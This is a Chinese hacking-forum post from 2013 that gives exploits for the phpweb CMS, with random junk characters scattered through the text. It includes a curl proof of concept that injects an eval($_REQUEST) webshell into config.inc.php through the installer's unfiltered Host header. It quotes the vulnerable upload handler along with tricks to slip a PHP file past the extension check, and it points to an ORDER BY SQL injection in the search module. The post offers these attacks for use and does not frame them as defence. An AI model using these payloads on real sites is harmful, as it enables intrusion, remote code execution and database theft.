找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2431|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:- G2 b$ n) X, A9 L
- L0 v! q+ s$ w8 Y7 |- L% f
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
  y* l; ]7 k# E6 s  W* ~3 j8 K9 ` 3 G( p# R- U, y1 f
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
" v+ N  {4 {, p: ]$ m) A鸡肋2: 有一定安全常识的站长都会删掉 install 目录
$ a$ j5 f4 i/ F. m) s
: E, Q$ h- b: K0 N5 K* v' m虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; b5 a6 K+ t! L# W/ @3 l& G. h
5 P+ n% @" [/ x+ {3 P9 J3 ^$ \分析:  i* l& b3 Z7 F

( v: n1 o0 S  K
+ y6 a+ C% Q7 h2 @9 S; w( X2 N$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
& E6 G2 M9 h4 T; c
& R, O: }' i3 G4 `2 U& r' b                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);; D* u9 N4 P0 T* ^8 f0 I1 A: w# d
                                            $filestr=str_replace(" ","",$filestr);0 A8 i4 v* }& k) G; g
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);9 F4 e  F8 s6 B7 t* {( `% ~6 @5 N
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);  p9 p6 H3 E8 ]5 f1 {( e, {( u
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);! N  \  B* l! B# B2 V- O; p
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
& Q3 S" r$ e: R" L9 f$ N; t                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
; ^6 b4 a5 }* |& }                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);2 U2 K! Z2 }5 H6 H1 u3 D# i
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
4 t( D( F( Z" D6 t, ^7 u  i8 A / V/ M  ]& Q# i9 y- }
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
* m! j5 h7 z. k4 b" k  f. v$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 L& ]4 I% P* p: o4 U
  ~0 @3 u3 y- r& M0 m4 A2 o1 O8 Upoc:
0 y- H) l/ D0 O0 M1 } , ^5 V" n) s9 E
?
2 C7 X0 C& }9 q3 k) j" A8 r1
' q5 b( j5 A) \- H! m9 acurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
. c$ i& l( t+ I( r' ]- _8 \shell地址: /config.inc.php0 Q, j; v, \9 C- n$ J$ f
跟之前的 phpcms一样 需要远程数据库6 }  ~* |: ]: m
9 G( l3 m5 b, f
——————————————————–
) l5 k) e0 x1 d0 {上传漏洞(需要进后台):
9 K6 z, P4 F5 A1 a6 C- G6 N) E4 R- t  K漏洞文件: /kedit/upload_cgi/upload.php% S2 W1 A" o$ z" u1 ]1 z9 a9 l' Y$ {. o; Z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用9 R8 M- }2 g5 s( l$ [0 Y$ g
; O6 r/ W3 {* _  O, w
. o' Z; h! @6 X4 p# g
<?php
8 d. y6 A* e# u    define("ROOTPATH", "../../");" k2 X$ N" E, ?* w
    include(ROOTPATH."includes/admin.inc.php");
* l# b" s6 W* X  d8 C( H# `) S: b8 S    NeedAuth(0);
, O0 {& B6 N5 y2 n: V- h5 R+ k
) _- b: t$ j0 \# N    $dt=date("Ymd",time());
) E% `7 p9 v. {* }: ^    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){+ o: p- N. f! W8 Z+ s
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
, p0 ~  q2 c& r    }
4 q) M& @4 ^' h: N8 r9 C3 ?2 u ; h- A' X) r/ Q: |+ _3 f
    //文件保存目录路径. f& \" z( W% w2 p
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';- E5 e: ^" O0 U% G  F. m- n* V
    echo $save_path;8 ]$ {  h( o3 g2 w* t
    //文件保存目录URL  i- E6 E( D5 D
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
0 T) i4 \( `+ a' a
8 V8 q( R! g2 p. l8 Y" K    //定义允许上传的文件扩展名+ B% z3 r3 U& C$ H6 P0 i
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
9 o& |! h) v+ Y& ?6 K5 U) f / z% b3 q  o, q8 u3 z& Y0 b
    //最大文件大小6 W9 Y8 o4 S  I8 [
    $max_size = 1000000;8 ^3 i" `# @( u! [, y+ F

& `! \  n& D! G/ n* x5 r    //更改目录权限0 }; n9 V: Z# z1 |: `( z$ X% M
    @mkdir($save_path, 0777);
- q1 }& M5 n/ g# R/ m1 [ 9 T5 Y, ]- j/ m3 E4 x
    //文件的全部路径
" v1 G  \3 R, x" e% @    $file_path = $save_path.$_POST['fileName'];   //保存文件名4 _% a4 \" U) n( _, [7 W+ I1 w
7 R; o5 w) f5 T2 |$ V' e  E; ]
    //文件URL8 ^% n2 |" {- i7 R
    $file_url = $save_url.$_POST['fileName'];
2 j6 {& z8 {! Q, b/ z/ T% n- e- {4 @//有上传文件时6 }& I4 u4 t% @( f
    if (empty($_FILES) === false) {
8 \0 I% a- E4 p1 `; B# z8 h. q
& s$ V: b4 d. E0 l" g( w            //原文件名2 N$ i! p3 W# C! v/ G7 V- e3 _
            $file_name = $_FILES['fileData']['name'];& v; L3 i7 e5 F0 l) `: S& e0 }
            //服务器上临时文件名
" a5 V4 L6 Q2 }4 @0 V: [            $tmp_name = $_FILES['fileData']['tmp_name'];
9 Y  q7 H5 I0 z            //文件大小" u9 Q  n* r5 q
            $file_size = $_FILES['fileData']['size'];0 Q; H% y' \3 X/ K/ n$ K7 Z" y
            //检查目录6 k, }7 Y7 w) [1 b! Y1 {
            if (@is_dir($save_path) === false) {
$ r( C! H/ z# x/ L% T. S; X                    alert("上传目录不存在。");
4 T2 M  T( Z8 g            }
; V9 E6 M( I% g2 S7 o5 I            //检查目录写权限
9 {/ n4 @0 C7 Q( P4 M            if (@is_writable($save_path) === false) {' b3 r- L# k1 |! a( r  T5 }
                    alert("上传目录没有写权限。");3 [* _# u! E2 ~, \4 I1 x
            }
" {% [# G) i  I$ m. r+ x4 }$ R$ T            //检查是否已上传' y1 V/ r* k/ |4 T, y. g8 d
            if (@is_uploaded_file($tmp_name) === false) {
( V" Y( t3 R1 Q' ?2 T                    alert("临时文件可能不是上传文件。");4 S! f0 i- w+ J3 @- g- `7 X
            }
* l7 h8 @; ~3 S            //检查文件大小
/ [( q0 G7 M! {6 D: L4 z+ V+ ]# q% G            if ($file_size > $max_size) {
# Q. C4 P  l( K/ F& g                    alert("上传文件大小超过限制。");
( W. |# }+ R- d            }
" Y! k; r. y& J4 v            //获得文件扩展名, I( e3 y% z0 O, r* R  J% k" C
            $temp_arr = explode(".", $_POST['fileName']);" S. `; q$ L4 ?5 C
            $file_ext = array_pop($temp_arr);
" q+ ]5 i- R: C0 m% j' H            $file_ext = trim($file_ext);
4 k; i- Q" d% V% k! X            $file_ext = strtolower($file_ext);5 R3 B: E% e, F' Y9 `8 x

- a& P8 ]" W4 [+ w, k  s            //检查扩展名   - \5 ~/ v/ h2 l, p. M* A
            if (in_array($file_ext, $ext_arr) === false) {     
; n0 o7 e, p: y( o1 m4 h                    alert("上传文件扩展名是不允许的扩展名。");4 L& Y+ u% ^' C$ D; d- k
            }9 r  B7 `. U9 ]" C8 O

' K- D7 o  a4 b" A4 J            //移动文件   
/ @- O8 u& \# j  G            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
9 G( }/ E$ }) ?* W$ L            if (move_uploaded_file($tmp_name, $file_path) === false) {. K$ U; z; q* H  J" Q
                    alert("上传文件失败。");
) e( ^4 h7 p2 q& u% v            }+ S' q6 }* L! N* W: B5 H
) P& e# _; Z& s: O
            @chmod($file_path,0666);
1 S' c4 t1 B# s . v2 Z! W3 a8 |4 X  v
    ?>
$ @7 M* l! v, c" z9 K- k' W抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
# J1 L8 @1 X8 @2 T- W
  J/ N5 O7 l$ p9 N* Lapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过8 R% C1 L+ d" ~6 G) O. x7 R

9 ]+ w# k1 m5 c1 D1 E+ k' [——————————————————
4 s/ X( I5 ]# r1 \% ?1 d- y4 [注入漏洞:. ?! ]0 ^) n  x0 o% p6 k
漏洞文件:search/module/search.php6 r% ~! ?9 s! C( T
/search/index.php?key=1&myord=1 [sqlinjection]
/ J7 }* `1 X4 z7 ^/ F : R7 S$ E$ ?0 ~% q$ p
2 U" J5 O& i9 {8 P) z
<?php' w# U' d5 s; Z' f0 b3 |" A
   //       ... 省略 n 行...- J- W* S# w! w8 Q; n
   //第18行:7 p$ @: F* m3 f
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响- p2 O. ~. x: j# u2 S$ k
           $page=htmlspecialchars($_GET["page"]);
3 G5 ^8 E' p' o           $myord=htmlspecialchars($_GET["myord"]);" f) Q. u2 ?% g' m& b

- l; ?; A! E/ O5 J3 k; J   //       ... 省略 n 行...  v2 M+ x* x0 S5 U* U' s# C2 w& d" Y
   $key,$myord 两个参数带入查询! `/ I8 }+ m6 N0 r- R- A) [) S& R
   //第47行 $key:0 b) ~/ f, I) u* O

: x$ K! _/ G8 J. o7 j   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
2 n( d0 g# M7 q. y * I# L# o. u1 v0 [5 E6 P9 A
   //第197行 $myord
% V3 Y" b+ f$ V) k8 M7 q   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
% ~  f% y+ r  L% J$ O8 S- u3 e$ M
) G# J+ I- s/ E- n   ?>" N! q: a: u. b4 {4 h/ Z; l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表